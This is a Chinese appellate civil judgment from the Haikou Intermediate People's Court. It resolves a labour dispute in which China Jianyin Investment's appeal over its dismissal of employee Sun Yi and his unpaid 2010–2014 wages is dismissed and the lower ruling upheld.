海南省海口市中级人民法院
p t ; ” > 民 事 判 决 书
（2017）琼01民终3139号
上诉人（原审被告）：中国建银投资有限责任公司，住所地北京市西城区闹市口大街1号院2号楼。
法定代表人:仲建安，该公司董事长。
委托诉讼代理人:米威，海南昌宇律师事务所律师。
被上诉人（原审原告）：孙屹，男，1957年11月12日出生，汉族，住海口市龙昆南路13号省。
委托诉讼代理人:丁金亮，海南大弘律师事务所律师。
原审被告:中国建设银行股份有限公司海南省分行，住所地海口市国贸大道8号建行大厦。
法定代表人：张中科，该行行长。
委托诉讼代理人:郭镘谊，该行员工。
委托诉讼代理人:张锰晗，该行员工。
原审被告:中国信达资产管理股份有限公司海南省分公司，住所地海口市龙华区滨海大道123-8号信恒大厦17-18层。
法定代表人：姚卫星，该公司总经理。
委托诉讼代理人:周硕，该公司经理。
委托诉讼代理人:侯慧，该公司业务经理。
原审被告:海南昌茂房地产开发有限公司，住所地海口市龙昆南路42号钻石大厦C座三层。
法定代表人：陈权中，该公司董事长。
委托诉讼代理人:乔磊，海南泽田律师事务所律师。
上诉人中国建银投资有限责任公司（以下简称建银公司）因与被上诉人孙屹及原审被告中国建设银行股份有限公司海南省分行（以下简称建行海南省分行）、中国信达资产管理股份有限公司海南省分公司（以下简称信达公司）、海南昌茂房地产开发有限公司（以下简称昌茂公司）劳动争议一案，不服海口市龙华区人民法院（2016）琼0106民初283号民事判决，向本院提起上诉。本院立案受理后，依法组成合议庭，对本案进行了审理。本案现已审理终结。
上诉人建银公司上诉请求：1.撤销海口市龙华区人民法院（2016）琼0106民初283号民事判决；2.驳回孙屹的起诉及全部诉讼请求；3.本案诉讼费用由孙屹承担。
事实和理由：一、建银公司解除与孙屹的劳动关系，具有充分的法律和事实依据。一审法院认定建银公司作出的《解除劳动合同通知书》违法，适用法律和认定事实均严重错误。（一）建银公司解除与孙屹之间的劳动关系具有充分的法律依据。理由如下：1.海口中院2012年12月18日作出了（2012）海中法民一终字第89号、90号《民事判决书》，确认孙屹自2004年11月起与建银公司存在劳动关系。建银公司在尊重司法判决的考虑下，按照该判决书的内容履行了法定义务。那么对于孙屹本人来说，也应该尊重生效判决的法律效力，履行其作为劳动者的义务。但是其自判决生效到目前将近四年的时间里，从未到用人单位报到考勤，从未向用人单位提供劳动，也未曾向用人单位请假。孙屹作为建银公司的劳动者，在未向用人单位请假并且有正当事由的情形下，将近四年的时间缺勤，属于严重违反用人单位规章制度的行为。根据《劳动合同法》第三十九条”劳动者有下列情形之一的，用人单位可以解除劳动合同：（二）严重违反用人单位的规章制度的”的规定，建银公司解除与孙屹的劳动关系，符合法律规定。2.根据昌茂公司提供的关于三亚恒源典当有限公司（以下简称恒源典当行）的相关企业资料，孙屹自始至终都在为该公司提供劳动，与该公司存在实际的劳动关系。在2004年到2008年6月期间，该公司曾属于建银公司的子公司。自2008年6月以后，建银公司已经将该公司的股权全部转让给了昌茂公司后，该公司与建银公司没有任何的关系。因此，孙屹在上述海口中院2012年12月18日作出的（2012）海中法民一终字第89号、90号民事判决生效后，从未向建银公司提供劳动，而是实际向恒源典当行提供劳动，符合劳动者同时与其他用人单位建立劳动关系，对完成本单位的工作造成严重影响的情形。根据《劳动合同法》第三十九条”劳动者有下列情形之一的，用人单位可以解除劳动合同：(四)劳动者同时与其他用人单位建立劳动关系，对完成本单位的工作任务造成严重影响，或者经用人单位提出，拒不改正的。”的规定，建银公司可以依法解除劳动关系。3.由于孙屹从未实际向建银公司提供劳动，建银公司在2008年6月13日也已经将孙屹提供劳动的恒源典当行的股权及债权全部转让给昌茂公司，并且双方在该转让协议第6条第四项明确约定：”实体尚存部分留守人员由乙方（即昌茂公司）负责安置或继续聘用，对于可能存在的拖欠实体员工工资情况由乙方（即昌茂公司）承担。”因此，上述生效判决以建银公司接受了恒源典当行债权债务及股权为由认定建银公司与孙屹之间存在劳动关系所依据的客观情况发生了重大变化。建银公司现不再持有恒源典当行的债权债务及股权，孙屹与建银公司继续存在劳动关系所依据的任何理由都已不复存在。并且，在上述生效判决作出后，建银公司与孙屹双方就劳动关系的继续履行也未能达成协议，根据《劳动合同法》第四十条：”有下列情形之一的，用人单位提前三十日以书面形式通知劳动者本人或者额外支付劳动者一个月工资后，可以解除劳动合同：......（三）劳动合同订立时所依据的客观情况发生重大变化，致使劳动合同无法履行，经用人单位与劳动者协商，未能就变更劳动合同内容达成协议的。”的规定，建银公司因此可以依法解除与孙屹之间的劳动关系。（二）一审法院以孙屹继续负责恒源典当行印章保管及工商年检工作为由，认定其与建银公司劳动关系一直处于持续状态，是典型的罔顾事实和法律的枉法裁判。一审法院认定孙屹继续负责恒源典当行印章的保管及工商年检工作，实际上是孙屹一直非法侵占恒源典当行证照、印章。建银公司在向其发出的包括《关于解除劳动关系后续问题的处理意见》等文件中多次要求其返还恒源典当行的印章、证照。建银公司也已经另案起诉孙屹返还恒源典当行的印章、证照。因此，孙屹强行保管恒源典当行的印章、证照，不但不是建银公司的指令，而且是违反建银公司指令的非法侵占行为。一审法院将孙屹侵占建银公司财产的违法行为，进一步认定为是建银公司的指令并且与建银公司存在劳动关系，是枉法裁判行为。如果本案需要以孙屹继续负责恒源典当行印章的保管及工商年检工作，作为判断其是否与建银公司之间存在劳动关系的证据，则应当待建银公司另案起诉孙屹返还恒源典当行的印章、证照的案件终结后，方可继续审理。（三）根据（2012）海中法民一终字第89号、90号《民事判决书》查明的事实，孙屹自始至终并未与建银公司签订劳动合同，也未实际向建银公司提供任何形式的劳动。二、孙屹就本案提出的请求，已经经过海南省劳动仲裁委员会以及海口市龙华区人民法院、海口市中级人民法院的多次审理。其就同样的请求再次申请仲裁，违反了”一事不再理”的基本原则。三、上述（2012）海中法民一终字第89号、90号《民事判决书》违法确认孙屹自2004年11月起与建银公司存在劳动关系后，孙屹再次主张与建银公司之间存在劳动争议，也不属于一审法院管辖。
被上诉人孙屹答辩称，一、应当依法确认孙屹与建银公司自2010年9月至今存在劳动关系。已经生效的海口市中级人民法院（2012）海中法民一终字第89号民事判决认定，自2004年11月起，孙屹与建银公司存在劳动关系。时至今日，双方的劳动关系没有发生任何的变化，即劳动关系仍然存续。建银公司诉称，”在2013年12月18日向孙屹送达了《解除劳动合同通知书》，解除了劳动关系”，与事实不符。2014年7月24日，建银公司以邮寄方式仅向孙屹送达了《关于解除劳动关系后续问题处理意见》，至今没有收到《解除劳动合同通知书》。之后，孙屹在法定期限内依法向海南省劳动人事争议仲裁委员会提起劳动争议申请仲裁，依据《最高人民法院关于审理劳动争议案件适用法律若干问题的解释》第二十条规定，依法撤销了建银公司的《解除劳动合同通知书》，建银公司的《解除劳动合同通知书》根本就没有发生法律效力。海口市中级人民法院（2012）海中法民一终字第90号民事判决书认定，孙屹是受建银公司的指派，至恒源典当行工作，负责管理恒源典当行的相关事宜，因此，孙屹的工作地点是恒源典当行，并不是建银公司的机关本身。建银公司诉称，孙屹未到建银公司公司报到参加考勤并参加劳动，也未向用人单位请假，这与孙屹的工作地点、工作性质严重不符。再者，建银公司也未要求孙屹到公司报到、考勤。
二、孙屹的诉讼请求未违反”一事不再理”的原则。孙屹的诉讼请求基本上都是在海口市中级人民法院（2012）海中法民一终字第89号民事判决和该院（2012）海中法民一终字第90号民事判决生效后新产生的费用，该项费用属于建银公司应当向孙屹履行给付义务的范畴。孙屹的此项请求并未违反”一事不再理”原则。
三、建银公司诉称，”被告孙屹再次主张与原告之间存在劳动争议，不属于海南省劳动仲裁委员会管辖”，与法律相悖。1.已经生效的海口市中级人民法院（2012）海中法民一终字第89号民事判决书和该院（2012）海中法民一终字第90号民事判决案申请仲裁时，是以建银公司及其他被告为被申请人提起的劳动争议，该争议也是由海南省劳动人事争议仲裁委员会管辖，并依法作出仲裁裁决。2.本案也是以建银公司为被申请人，其他被告为被申请人提起的劳动争议，根据《劳动争议调解仲裁法》第二十一条规定，该仲裁委有权管辖该仲裁案件。据了解，建银公司在仲裁阶段，已经针对案件的管辖权向海南省劳动人事争议仲裁委员会提出过管辖权异议，被驳回。建银公司如果认为劳动争议仲裁委员会无管辖权，应依据《劳动争议调解仲裁法》第四十九条第一款第（二）项规定，可以自收到仲裁裁决书之日起三十日内向劳动争议仲裁委员会所在地的中级人民法院申请撤销裁决，而不应当在本案中对仲裁委的管辖权再提出异议。
四、孙屹并未保管恒源典当行的公章。另案，海口市龙华区人民法院（2016）琼0106民初13447号案”返还原物纠纷”一案庭审期间，经过多次开庭，恒源典当行的实际经营人，即第三人吴某当庭承认，典当行的公章由本人保管，并非由孙屹保管。吴某经营恒源典当行是基于和信达公司之间的转让关系产生的，公章、财务章、营业执照、组织机构代码证、税务登记证，等等相关的公章、证照等均归吴某掌握、管理或拥有。每年对恒源典当行年审的时候，由孙屹将有关材料在吴某处加盖公章，仅此而已。孙屹不掌握相关的公章、证照，也不是该典当行的负责人，无此权利。
五、建银公司应当向孙屹支付工资及经济补偿金。孙屹请求建银公司支付的工资是2010年9月至2014年12月期间的工资，是新产生的工资，依据原劳动部《违反和解除劳动合同的经济补偿办法》（劳部发「1994」481号）第三条规定，建银公司除了应向孙屹支付工资外，还应支付25％的经济补偿金。请求二审法院驳回上诉，维持原审判决。
原审被告建行海南省分行述称，海口市龙华区人民法院作出的（2016）琼0106民初283号民事判决认定事实清楚，适用法律正确，应予维持。1.根据《最高人民法院关于审理劳动争议案件适用法律若干问题的解释》第一条、《劳动争议调解仲裁法》第二条等规定公积金不属于劳动争议范畴，海口市中级人民法院于2012年12月19日作出的（2012）海中法民一终字第90号民事判决（已生效，见第21页第一段）已认定公积金不属于人民法院劳动争议处理范围。因此，一审法院作出的283号民事判决（第22页）认定”档案托管费及财务费、电话费和住房公积金的请求，是属于单位内部管理事项，不属于人民法院审理劳动争议案件的处理范围”属于认定事实清楚，适用法律正确，应予维持。2.连带责任是违反法定义务所承担的民事责任，本劳动争议纠纷中不存在法律法规中要求承担连带责任的法定情形，且根据海口市中级人民法院2012年作出的已生效的89、90号民事判决），建行海南省分行、信达公司、昌茂公司、建银公司与孙屹之间的劳动关系存续期间均不重叠，因此，一审法院作出的283号民事判决（第22页末段、第23页首段）认定”孙屹要求被告中国建设银行股份有限公司海南省分行与中国信达资产管理股份有限公司海南省分公司、海南昌茂房地产开发有限公司承担连带责任的请求无事实与法律依据，应予驳回”的判决符合法律规定，应予维持。综上所述，一审判决认定事实清楚，适用法律正确，应予维持。
原审被告信达公司未作陈述。
原审被告昌茂公司述称，一、建银公司与孙屹是否存在劳动关系，已被海口中院生效的判决（2012）海中法民一终字89、90号民事判决认定，建银公司解除与孙屹的劳动关系是否违法，与昌茂公司没有关系；二、在所有的涉及孙屹的劳动关系案件中，都是列昌茂公司为被申请人、被告、被上诉人，原因是在2008年6月13日，昌茂公司与建银公司签订《股权及债权转让协议》，约定将建行的自办旗下的54家实体公司以及其他实体贷款的债权债务打包处理给昌茂公司接管，但恒源典当行这个股权始终没有变更，其股东仍然是中国建设银行海南信托投资公司，另外一个是海南格林房地产有限公司，这两家公司仍然是恒源典当行的股东，这两个公司均已吊销，昌茂公司并没有实际控制恒典当行，孙屹一直在恒源典当行公司工作，所以就把昌茂公司列为被申请人、被告、被上诉人，实际上昌茂公司没有控制该公司，现在也控制不了，因为恒源典当行的两个股东已经被吊销营业执照，海口中院89、90号判决已认定了这个事实。
孙屹向一审法院起诉请求：一、确认孙屹与建银公司自2004年11月至今存在劳动关系；二、建银公司与孙屹签订无固定期限劳动合同；三、依法撤销建银公司违法作出的《解除劳动合同书》；四、建银公司为孙屹补缴2010年9月1日至今的养老、医疗、失业等各项社会保险费；五、建银公司为孙屹补缴1995年12月至2000年5月期间的住房公积金和信达公司为孙屹补缴2000年6月至2004年11月期间的住房公积金及建银公司为孙屹补缴2014年1月至今的住房公积金；六、建银公司向孙屹支付：1.1999年至2003年期间孙屹垫支的档案托管费1560元；2.补交2003年5月至今孙屹档案托管费；七、建银公司支付拖欠孙屹2004年11月至2010年8月按政策套改工资标准的差额工资142006.06元及25%的经济补偿35501.52元；八、建银公司支付拖欠孙屹2010年9月至今工资566544.04元及25%的经济补偿141636.01元；九、建银公司向孙屹支付因未签订无固定期限劳动合同的双倍工资差额112342.78元；十、建银公司支付孙屹垫支财务费用，截止2015年12月孙屹共垫支财务费用179325.27元；十一、建行海南省分行、昌茂公司、信达公司承担连带责任。
一审法院认定事实：1995年8月1日，孙屹受聘于中国建设银行海南省信托投资公司。1995年12月，孙屹从中国建设银行锦州中心支行正式调入中国建设银行海南省信托投资公司，先后在该司投资部、清理办公室、信贷部工作。1998年3月任建行海南省分行行办观海潮鱼池海鲜大酒楼副总经理。1998年10月，中国建设银行海南省信托投资公司被撤销，其债权债务由建行海南省分行承担，孙屹被建行海南省分行安排到恒源典当行工作，担任该行负责人。1999年11月7日，恒源典当行停止营业，孙屹被建行海南省分行安排到海南建方实业公司工作，具体负责恒源典当行的债权债务清理。2000年6月30日，建行海南省分行将恒源典当行划转给信达公司。2002年5月，信达公司将恒源典当行移交给建行海南省分行。2004年11月8日，根据建总[2004]1052号文件规定，建行海南省分行将恒源典当行整体移交给建银公司，为建银公司的全资子公司。2008年6月13日，建银公司作为债权人将包括恒源典当行在内的54家建行海南省分行自办的实体债权、股权转让给昌茂公司，双方在《股权及债权转让协议》第6条第4项第4款中约定：实体尚存部分留存人员由昌茂公司负责安置或继续聘用，对于可能存在的拖欠实体员工工资情况由昌茂公司承担。建银公司未将转让事宜告知孙屹，孙屹一直保管恒源典当行的证照及印章，也未办理移交手续，并于2010年办理了该典当行的工商年检。1998年10月，孙屹到恒源典当行工作后，该典当行已经处于停业状态，孙屹的工资一直由该典当行的主管单位建行海南省分行、信达公司支付或指定其下属单位支付。孙屹2002年4月之前的月工资为2097.5元。2000年10月至2001年6月期间，除了信达公司向孙屹支付工资5600元外，尚拖欠孙屹该期间的工资14159.5元。2007年10月至2010年8月，孙屹一直未领取过工资。截止2010年8月，尚欠孙屹工资73412.5元。原中国建设银行分立为中国建设银行股份有限公司和建银公司。中国建设银行海南省分行更名为中国建设银行股份有限公司海南省分行。中国信达资产管理公司海口办事处更名为中国信达资产管理股份有限公司海南省分公司。三亚恒源典当行更名为三亚恒源典当有限责任公司。2009年11月，孙屹向海南省劳动争议仲裁委员会申请仲裁，被申请人是建行海南省分行、建银公司和信达公司，仲裁请求是：一、裁决单位应补缴本人1995年8月1日至今的五项社会保险；二、裁决单位应补缴本人1995年8月1日至今的住房公积金；三、裁决2000年10月至2001年6月期间单位拖欠本人的工资和电话费1****.27元（其中工资14159.5元、电话费1469.32元）和加付应得工资收入25%的经济补偿金5307.32元；四、裁决单位支付2007年10月至今拖欠本人的工资，截止2009年10月，拖欠本人工资52437.5元，单位加付本人应得工资收入25%的经济补偿金13109.38元；五、裁决单位支付1999年至2003年5月期间本人垫支的档案托管费1560元和补交2003年5月至今的档案托管费；六、裁决单位支付截止2009年10月本人垫支的财务费用41384.2元（其中：1.恒源典当行审计费12600元；2.招待费4814元；3.电话费8700元；4.差旅费5754元；5.办公费947元；6.交通费7669元；7.会议费600元）；七、裁决单位应支付2008年2月至2009年10月未与本人签订劳动合同的双倍工资44047.5元；八、裁决单位应与本人签订无固定期限劳动合同。海南省劳动争议仲裁委员会经审理后作出琼劳仲裁字第[2010]第172号仲裁裁决书，裁决：一、被申请人建银公司自收到本裁决书之日起30日内向申请人孙屹支付2000年10月至2001年6月、2007年10月至2009年10月的工资88489.9元（含被拖欠的工资及25%的经济补偿金）；二、被申请人建银公司收到本裁决书之日起30日内为申请人孙屹缴纳1995年12月至2009年10月的各项社会保险费，具体缴费数额由海口市地税局社会保险费征稽机构核定；三、驳回申请人孙屹的其他仲裁请求。
因不服该仲裁裁决，建银公司向一审法院起诉，一审法院立案予以受理，案号为（2010）龙民一初字第1938号。因不服该仲裁裁决，孙屹向一审法院起诉，一审法院立案予以受理，案号为（2010）龙民一初字第1956号。一审法院经审理后，分别作出（2010）龙民一初字第1938号民事判决书和（2010）龙民一初字第1956号民事判决书。（2010）龙民一初字第1938号民事判决书判决：一、确认建银公司与孙屹不存在劳动关系；二、建银公司无需向孙屹支付工资及经济补偿金。（2010）龙民一初字第1956号民事判决书判决：一、限信达公司于本判决生效之日起十日内支付孙屹2000年10月至2001年6月的工资14159.5元及25%的经济补偿金3539.8元；二、限昌茂公司支付孙屹2007年10月至2010年8月期间的工资73412.5元及相当于拖欠工资额的25%的经济补偿金18353.1元；三、限恒源典当行于本判决生效之日起十日内与孙屹签订无固定期限劳动合同；四、驳回孙屹的其他诉讼请求。
因不服（2010）龙民一初字第1938号民事判决，孙屹向海口市中级人民法院提起上诉。海口市中级人民法院于2012年12月18日作出（2012）海中法民一终字第89号民事判决书，认为：孙屹1995年12月至1998年10月在中国建设银行海南省信托投资公司工作，该司撤销后，受建行海南省分行管理。故原审法院确认1995年12月至1998年期间，孙屹与建行海南省分行存在劳动关系，并无不妥，本院予以维持。2000年6月30日后，恒源典当行划转给信达公司、建银公司，故2000年6月至2004年11月孙屹与信达公司存在劳动关系。从2004年11月起，孙屹与建银公司存在劳动关系。遂判决：一、撤销海口市龙华区人民法院（2010）龙民一初字第1938号民事判决；二、驳回建银公司的诉讼请求。
因不服（2010）龙民一初字第1956号民事判决，孙屹向海口市中级人民法院提起上诉。海口市中级人民法院于2012年12月18日作出（2012）海中法民一终字第90号民事判决书，认为：关于拖欠工资数额及经济补偿金的问题，2000年10月至2001年6月拖欠孙屹的工资应为14159.5元（2195.5元×9个月-5600元），拖欠工资额的25%经济补偿金3539.8元。2007年10月至2010年8月期间的工资73412.5元及拖欠工资额的25%的经济补偿金18353.1元。2000年6月30日后，恒源典当行划转给信达公司、建银公司，分别负责恒源典当行债权债务和人员的安置，原审法院判决信达公司应支付其自2000年10月至2001年6月拖欠孙屹的工资及经济补偿金，并无不当，本院予以维持。孙屹从调入中国建行海南省信托投资公司后，先后受建行海南省分行、信达公司、建银公司的指派，至恒源典当行工作。恒源典当行停业后，2000年6月至2004年11月孙屹与信达公司存在劳动关系。从2004年11月起，孙屹与建银公司存在劳动关系。建银公司应支付孙屹2007年10月至2010年8月期间的工资及经济补偿金。孙屹入职恒源典当行后，一直在履行恒源典当行负责人的工作职责，孙屹对是否签订劳动合同具有决定权，故孙屹要求支付因未签订劳动合同的二倍工资的请求，依法不予支持。孙屹在建银公司连续工作未满十年以上，孙屹请求与建银公司订立无固定期限劳动合同无法律依据，本院不予采纳。孙屹主张的社会保险的问题，不属于法院受理民事案件的范围，当事人可依照有关规定向社会保险征稽机构主张权利，本院亦不予处理。孙屹要求支付垫付的档案托管费及财务费、电话费和住房公积金的请求，是属于单位内部管理的事项，不属于劳动争议的处理范围，本院亦不予处理。遂判决：一、维持海口市龙华区人民法院作出的（2010）龙民一初字第1956号民事判决第一项；二、撤销海口市龙华区人民法院作出的（2010）龙民一初字第1956号民事判决第二、三、四项；三、限建银公司支付孙屹2007年10月至2010年8月期间的工资73412.5元及相当于拖欠工资额的25%的经济补偿金18353.1元；四、驳回孙屹的其他诉讼请求；五、驳回信达公司的请求。
上述（2012）海中法民一终字第90号民事判决生效后，建银公司履行上述判决确定的义务，向孙屹支付了2007年10月至2010年8月期间的工资及经济补偿金，并为孙屹补缴此期间的各项社会保险费。此后，孙屹一直在恒源典当行工作，负责该典当公司的印章保管及工商年检等工作。期间，孙屹与建银公司就孙屹的工作安排、工资发放、社会保险费的缴交、住房公积金的缴纳等问题进行协商，但均未能达成一致意见。2013年12月18日，建银公司向孙屹送达《解除劳动合同通知书》，通知孙屹自2014年1月31日起解除双方的劳动关系。2014年7月7日，建银公司又向孙屹发送一《关于解除劳动关系后续问题的处理意见》，载明：（2012）海中法民一终字第89号、第90号民事判决生效后，其司已履行相关法定义务；自2007年10月以来，孙屹的工作内容并未发生变化，期间原服务的实体恒源典当行已经转让予昌茂公司，且法院判决认定的工资水平一直高于海南省与北京市的最低工资水平，因此，2010年9月份以后的工资补发、经济补偿、社保缴纳及公积金缴纳等均应以判决认定的每月2097.5元为基准进行计算，其中：1.工资按每月2097.5元的标准，补发自2010年9月至2014年1月31日止共计85997.5元，再支付25%经济补偿金21499.38元；2.经济补偿金，支付9.5个月的工资即19926.25元；3.社会保险，按照2098元缴纳社会保险费，缴费期限为2010年9月至2014年1月31日；4.住房公积金，以2098元为缴费基数；5.存档费用，在孙屹移交恒源典当行所有印章及档案后，同意支付档案管理费9560元；至于其他费用，要求孙屹提交相关证据并经其司审核后再考虑是否支付。如孙屹同意上述方案，则提供领受相关款项的方式，如不能接受，则可申请仲裁或提起诉讼。收到上述《关于解除劳动关系后续问题的处理意见》后，孙屹并未接受建银公司提出的上述方案。此后，孙屹便于2015年1月5日向海南省劳动争议仲裁委员会提出仲裁申请。海南省劳动争议仲裁委员会于2015年12月10日作出琼劳人仲裁字[2015]第415号仲裁裁决书，裁决：一、确认被申请人建银公司与申请人孙屹自2010年9月1日至今存在劳动关系；二、自本裁决书发生法律效力之日起15日内，被申请人建银公司向申请人孙屹支付2010年9月至2014年12月的工资114166元和25%的经济补偿金28541.5元；三、撤销被申请人建银公司作出的《解除劳动合同通知书》；四、驳回申请人孙屹的其他仲裁请求。因不服该裁决书，孙屹便诉诸本院。
另查：建银公司提出孙屹任职的恒源典当行已移交昌茂公司，但昌茂公司否认已接受恒源典当行且建银公司亦无法提供证据证实已实际移交。
一审法院认为，已生效的海口市中级人民法院（2012）海中法民一终字第89号、第90号民事判决已确认孙屹与建银公司自2004年11月起存在劳动关系。上述判决生效后，孙屹继续负责恒源典当行印章的保管及工商年检等工作，双方的劳动关系一直处于存续状态。建银公司于2013年12月18日向孙屹送达《解除劳动合同通知书》，解除与孙屹的劳动关系，不符合《中华人民共和国劳动合同法》第四十条规定的情形，因此，应认定建银公司作出的上述《解除劳动合同通知书》违法。依照《最高人民法院关于审理劳动争议案件适用法律若干问题的解释（一）》第二十二条的规定，应撤销建银公司作出的上述《解除劳动合同通知书》。综上，因2004年11月至2010年8月期间孙屹与建银公司存在劳动关系已被生效的民事判决确认，故孙屹要求再次确认双方该期间存在劳动关系属重复主张，应不再重新作出认定。2010年9月至今，孙屹与建银公司的劳动关系一直存续，故孙屹要求确认在此期间双方存在劳动关系的请求，应予以支持。因建银公司作出的《解除劳动合同通知书》违法，孙屹要求撤销该《解除劳动合同通知书》的请求，符合《最高人民法院关于审理劳动争议案件适用法律若干问题的解释（一）》第二十二条的规定，应予支持。孙屹负责建银公司下属的恒源典当行的工作，不能就其是否适用建银公司的薪酬体制及其工资按照政策套改提供相关证据予以证实，另外，海南省统计局发布的历年海南省职工历年社会平均工资和增长率，属于对历年工资增长的统计，不能作为孙屹工资增长的硬性依据。因此，孙屹主张要求建银公司按照政策套改工资和海南省历年工资增长率向其支付工资差额的请求，无事实与法律依据，应不予采纳，因此，孙屹要求建银公司向其支付2004年11月至2010年8月按政策套改工资标准的差额工资142006.06元及25%的经济补偿35501.52元的请求，无法律依据，应予以驳回。依据已生效的（2012）海中法民一终字第89号、第90号民事判决的认定，孙屹的月工资为2195.5元，在无其他证据证实其工资存在变动的情况下，应认定孙屹2010年9月至今的工资还应按2195.5元/月计算。自2010年9月至今，建银公司未向孙屹发放工资，依据原劳动部《工资支付暂行规定》第七条及原劳动部《违反和解除劳动合同的经济补偿办法》第三条的规定，建银公司应向孙屹支付2010年9月至2014年12月期间的工资114166元（2195.5元/月×52个月）及25%的经济补偿28541.5元。因此，孙屹要求建银公司向其支付2010年9月至2014年12月期间的工资566544.04元及经济补偿141636.01元的请求中，应支持的为114166元及28541.5元，超出部分，予以驳回。至于2015年1月之后的工资及经济补偿金，孙屹可另行另案提出主张。因双方自2004年11月起就存在劳动关系，但双方一直未签订书面劳动合同，依照《中华人民共和国劳动合同法》第四十条的规定，自2009年1月1日起，视为双方已经签订了无固定期限劳动合同，因此，孙屹要求建银公司与其签订无固定期限劳动该合同，应不予再行处理。因已生效的上述民事判决已对孙屹提出的2013年1月1日之前的未签订无固定期限劳动合同的二倍工资差额进行了处理，而2009年1月1日起双方已视为已签订无固定期限劳动合同，故孙屹要求建银公司向其支付因未签订无固定期限劳动合同的双倍工资差额112342.78元的请求，无法律依据，应予以驳回。因社会保险费的缴交问题不属于人民法院民事受案的范围，故孙屹要求建银公司为其补缴2010年9月1日至今的养老、医疗、失业等各项社会保险费的请求，应不予处理。因档案托管费及财务费、电话费和住房公积金的请求，是属于单位内部管理的事项，不属于人民法院审理劳动争议案件的处理范围，故孙屹要求建银公司为其补缴1995年12月至2000年5月期间的住房公积金、信达公司为其补缴2000年6月至2004年11月期间的住房公积金、建银公司为其补缴2014年1月至今的住房公积金、建银公司向其支付1999年至2003年期间孙屹垫支的档案托管费1560元及补交2003年5月至今孙屹档案托管费以及支付其垫支财务费用179325.27元的请求，应不予处理。孙屹要求建行海南省分行、信达公司、昌茂公司承担连带责任的请求，无事实与法律依据，应予驳回。
综上，依照《中华人民共和国劳动合同法》第十四条、第四十条、第四十八条、《最高人民法院关于审理劳动争议案件适用法律若干问题的解释（一）》第二十条之规定，遂判决：一、撤销建银公司作出的《解除劳动合同通知书》；二、确认孙屹与建银公司自2010年9月至今存在劳动关系；三、限建银公司于本判决生效之日起十日内向孙屹支付2010年9月至2014年12月期间的工资114166元和25%的经济补偿金28541.5元；四、驳回孙屹的其他诉讼请求。如果未按本判决指定期间履行金钱给付义务，则依照《中华人民共和国民事诉讼法》第二百五十三条之规定，双倍支付迟延履行期间的债务利息。本案受理费10元，由建银公司负担。
双方当事人在二审期间没有新证据提交。
本院二审另查明：孙屹在本案中主张其从未担任恒源典当行的负责人，也未保管恒源典当行的证照、印章，只是负责恒源典当行的工商年检和善后工作。由于本院（2012）海中法民一终字第89、90号民事判决认定孙屹持有恒源典当行的证照及印章，故建银公司向一审法院起诉孙屹返还上述原物【案号为（2016）琼0106民初13447号】。该案在审理中追加案外人吴某为第三人，孙屹主张吴某从信达公司处以10万元的价格受让恒源典当行，恒源典当行一直由吴某经营。吴某在该案庭审中承认恒源典当行的证照、印章都是由自己保管而非孙屹保管，该案至今尚未审结。
本院二审查明的其余事实与一审法院查明的事实一致。
本院认为，本案的争议焦点是：1.本案是否应由一审法院管辖？2.建银公司是否违法解除与孙屹的劳动关系；3.孙屹的起诉是否违反了一事不再理的基本原则？4.建银公司是否应向孙屹支付拖欠的2010年9月至2014年12月期间的工资114166元和25%的经济补偿金28541.5元？
一、关于本案是否应由一审法院管辖的问题。建银公司主张其未与孙屹签订劳动合同，孙屹也未向其提供劳动，故本案不存在劳动合同履行地，孙屹再次就与建银公司的劳动争议提起诉讼，一审法院予以受理，违反了《最高人民法院关于审理劳动争议案件适用法律若干问题的解释》第八条的规定。《最高人民法院关于审理劳动争议案件适用法律若干问题的解释》第八条第一款规定：”劳动争议案件由用人单位所在地或者劳动合同履行地的基层人民法院管辖。”已生效的本院（2012）海中法民一终字第89、90号民事判决确认孙屹与建银公司自2004年11月起存在劳动关系，上述判决生效后，孙屹继续处理恒源典当行的事务，双方此后发生的劳动争议由一审法院管辖并不违反上述法律规定。建银公司的上述主张没有事实和法律依据，本院不予采信。
二、关于建银公司是否违法解除与孙屹的劳动关系的问题。建银公司主张（2012）海中法民一终字第89、90号民事判决生效后，孙屹未到建银公司处工作，而是继续在恒源典当行工作，且建银公司已将恒源典当行移交给昌茂公司，故孙屹的行为违反了劳动合同法的相关规定，其据此与孙屹解除劳动关系并无不当。但昌茂公司否认接收恒源典当行，建银公司也无法提供证据证明其已实际移交恒源典当行给昌茂公司，建银公司亦没有证据证明孙屹在恒源典当行的工作违反了劳动合同法第三十九条、第四十条的规定，建银公司以此为由解除与孙屹的劳动关系，违反劳动合同法的有关规定，一审法院据此撤销建银公司作出的《解除劳动合同通知书》，并无不当，本院予以维持。
三、关于孙屹的请求是否违反了一事不再理的基本原则的问题。建银公司主张孙屹就本案提出的请求，已经过仲裁机构、一二审法院的多次审理，孙屹就同样的请求再次申请仲裁，违反了”一事不再理”的基本原则。孙屹此次申请仲裁要求确认其自2004年11月起至今与建银公司存在劳动关系，因2004年11月至2010年8月期间孙屹与建银公司存在劳动关系已被生效的民事判决确认，故孙屹要求再次确认双方在该期间存在劳动关系属重复主张，应不再重新作出认定。此外，孙屹主张本案几家单位向其支付1999年至2003年期间由其垫支的档案托管费1560元，补交其于2003年5月至2009年11月期间的档案托管费，补缴1995年12月至2004年11月的住房公积金，支付截止2009年10月孙屹垫支的财务费用41384.2元，均属重复主张，建银公司的主张部分有理，本院予以部分采纳，一审法院对孙屹的这些诉讼请求的处理正确，本院予以维持。孙屹再次主张建银公司与其签订无固定期限劳动合同，是在本院生效判决确认孙屹自2004年11月起与建银公司存在劳动关系但又认为孙屹在建银公司连续工作未满十年，不符合签订无固定期限劳动合同的条件，在双方劳动关系存续的情况下，建银公司并未与孙屹签订无固定期限劳动合同，孙屹认为建银公司还在侵犯其合法权益，继续要求与建银公司签订无固定期限劳动合同，孙屹的此项请求并没有违反”一事不再理”的基本原则。孙屹的其余请求，也并未违反一事不再理的原则。
四、关于建银公司是否应向孙屹支付拖欠的2010年9月至2014年12月期间的工资114166元和25%的经济补偿金28541.5元的问题。由于建银公司自2010年9月至今未向孙屹发放工资，孙屹主张建银公司支付2010年9月至2014年12月期间的工资及25%经济补偿金有事实和法律依据，应予支持，建银公司应向孙屹支付该期间所拖欠的工资及25%经济补偿金。一审判决以孙屹每月工资2195.5元为基数，计算建银公司应向孙屹支付2010年9月至2014年12月的工资为114166元及25%经济补偿金28541.5元，处理准确，本院予以维持。
综上所述，建银公司的上诉请求理由不成立，本院不予支持。一审判决认定事实清楚，适用法律正确，本院予以维持。依照《中华人民共和国民事诉讼法》第一百七十条第一款第一项之规定，判决如下：
驳回上诉，维持原判。
